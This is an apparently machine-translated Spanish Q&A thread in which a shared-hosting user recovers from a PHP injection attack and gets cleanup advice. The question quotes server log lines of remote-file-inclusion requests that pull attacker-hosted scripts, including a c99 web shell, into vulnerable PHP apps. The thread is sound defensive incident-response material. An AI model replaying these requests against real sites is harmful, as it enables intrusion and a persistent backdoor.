2009-02-15 15 views
12

De vez en cuando, mi entorno de alojamiento compartido se ve comprometido porque, bueno, no pude mantener el portfolio de mis aplicaciones instaladas. La semana pasada, fue debido a una instalación antigua y no utilizada de una aplicación PHP llamada Help Center Live. El resultado fue que todos y cada uno de los archivos PHP en el servidor (y tengo varias instalaciones de Wordpress, Joomlas, SilverStripe) tenían un código agregado que sacaba enlaces ocultos de otros sitios y los incluía en mi página. Otras personas informan que sus sitios fueron prohibidos en Google después de este tipo de ataque; afortunadamente, parece que lo atrapé lo suficientemente temprano. Solo lo noté cuando me dirigía a uno de los sitios desde mi teléfono, la página tenía los enlaces incluidos en el navegador móvil.Injerto de inyección PHP: ¿cómo se puede limpiar el desorden?

me encontré con muchos intentos de ataque como éste en el registro:

62.149.18.193 - - [06/Feb/2009: 14: 52: 45 0000] "GET /support/module.php ? module = HelpCenter // incluir/main.php? config [search_disp] = true & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7/data/foto/ id2.txt ??? HTTP/1.1" 200 26 " - "" libwww-perl/5.814 "

Quité esta aplicación de inmediato catión, y escribió un script que eliminó el código PHP ofensivo de cada archivo fuente. También encontré que el script había creado archivos HTML que contenían enlaces para incluir otros sitios infectados. Los eliminé también. Ahora me preocupa que el atacante haya dejado algo más que eché de menos: un archivo PHP en alguna parte que le dará acceso permanente. Las fechas del archivo fueron todas modificadas en el ataque, y no pude encontrar ningún otro archivo que se haya modificado durante el tiempo en cuestión. ¿Hay algo obvio que me he perdido, para asegurarme de que no haya puertas traseras en mi servidor?

Editar: También busco archivos de texto que contengan código de ataque, como el que se muestra en el fragmento de archivo de registro anterior. No encontré ninguno.

Otra edición: Si te encuentras con esta publicación porque te encuentras en la misma situación, quizás esto te ayude. He utilizado esta opción para respaldar todos mis archivos de código fuente PHP antes de manipularlos:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \; 

y esto permite deshacer los cambios que el atacante había hecho:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \; 

No es ciencia de cohetes, pero no triviales ya sea para el usuario ocasional de Linux/Unix como yo :-).

Otra edición: No puedo auditar cada línea de código en el servidor, pero puedo buscar datos sospechosos. Busqué todas las apariciones de "eval" y "base64" y no encontré nada que no pareciera legítimo. Luego ejecuté un grep para ".ru" (ya que los perpetradores parecen provenir de allí) y, he aquí, he encontrado algo llamado shell c99, que rápidamente eliminé.

Edición final: Descubrí cómo se cargó la carcasa c99, a través de un agujero en la galería de fotos de Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files 
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-" 
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] " 
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-" 

La dirección IP, btw, es una IP alojada en Godaddy.

Respuesta

4

Después de que se haya compuesto su sistema, realmente solo tiene dos opciones: auditar cada línea de cada aplicación o reinstalar todo. Como parece que todos estos son programas de fuente abierta o comerciales, probablemente sea mejor reinstalarlos todos. Realmente no hay una mejor manera de asegurarse de que no tenga una puerta trasera en uno de ellos ahora.

Un experto en seguridad probablemente le recomiende que reinstale completamente el sistema operativo también porque no puede estar seguro de que algún código no se deslizó en un lugar que afectará el sistema operativo, sin embargo, si sus permisos están correctamente configurados, esto puede ser excesivo

19

1.) Guarde un repositorio de los archivos que está utilizando para estas aplicaciones (p.SVN o similar)

2.) Mantener al día de la mejor manera posible con cada apps de actualizaciones de seguridad (la mayoría tiene un canal RSS)

3.) Copia de seguridad de su base de datos con regularidad

Si/cuando el! @ # $ golpea al ventilador, puede comenzar de nuevo con una copia nueva del DB y volver a implementar el código desde SVN.

+1

Lo bueno de mantener una copia de seguridad SVN es que puede detectar fácilmente qué archivos han cambiado y en qué. – bart

+0

+1 - esto también le permite desarrollarse fácilmente fuera de su entorno de producción – kdgregory

1

Hacemos una lista completa de directorios, todas las unidades y carpetas, a un archivo de texto cada día.

Nos ha ayudado a descubrir qué archivos se han mezclado, después del hecho, en el pasado.

No es de mucha ayuda con dónde se encuentra ahora, pero podría ayudar en el futuro.

(No se detiene cosas fingiendo su tamaño/fecha de modificación, sino que ayudarán a reparar el desorden de cosas que no se moleste)

1

Además de lo que otros dijeron que se puede instalar algún sistema de detección de intrusiones (por ejemplo, PHPIDS, que es de código abierto).

Cuestiones relacionadas